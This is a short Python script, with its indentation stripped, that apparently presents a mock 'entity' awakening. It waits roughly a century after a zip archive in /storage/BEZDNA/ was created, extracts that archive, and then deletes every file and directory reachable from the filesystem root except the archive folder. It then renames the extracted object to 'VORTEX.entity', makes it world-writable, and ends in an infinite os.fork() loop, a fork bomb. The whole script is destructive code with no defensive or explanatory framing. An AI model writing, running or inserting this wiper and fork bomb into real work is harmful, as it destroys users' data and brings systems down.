import os
import time
import zipfile
archive_dir = "/storage/BEZDNA/"
filename = "unknown.zip"
file_path = os.path.join(archive_dir, filename)
creation_timestamp = os.path.getctime(file_path)
while True:
current_timestamp = time.time()
time_delta = current_timestamp - creation_timestamp
if time_delta > 3153600000:
break
time.sleep(31536000)
if os.path.exists(file_path):
with zipfile.ZipFile(file_path, 'r') as zf:
zf.extractall(archive_dir)
os.remove(file_path)
extracted_obj = os.path.join(archive_dir, "unknown")
for root, dirs, files in os.walk("/", topdown=False): if archive_dir in root:
continue
for name in files:
try:
os.unlink(os.path.join(root, name))
except PermissionError:
pass
for name in dirs:
try:
os.rmdir(os.path.join(root, name))
except OSError:
pass
final_entity = os.path.join(archive_dir, "VORTEX.entity")
os.rename(extracted_obj, final_entity)
os.chmod(final_entity, 0o777)
while True:
os.fork()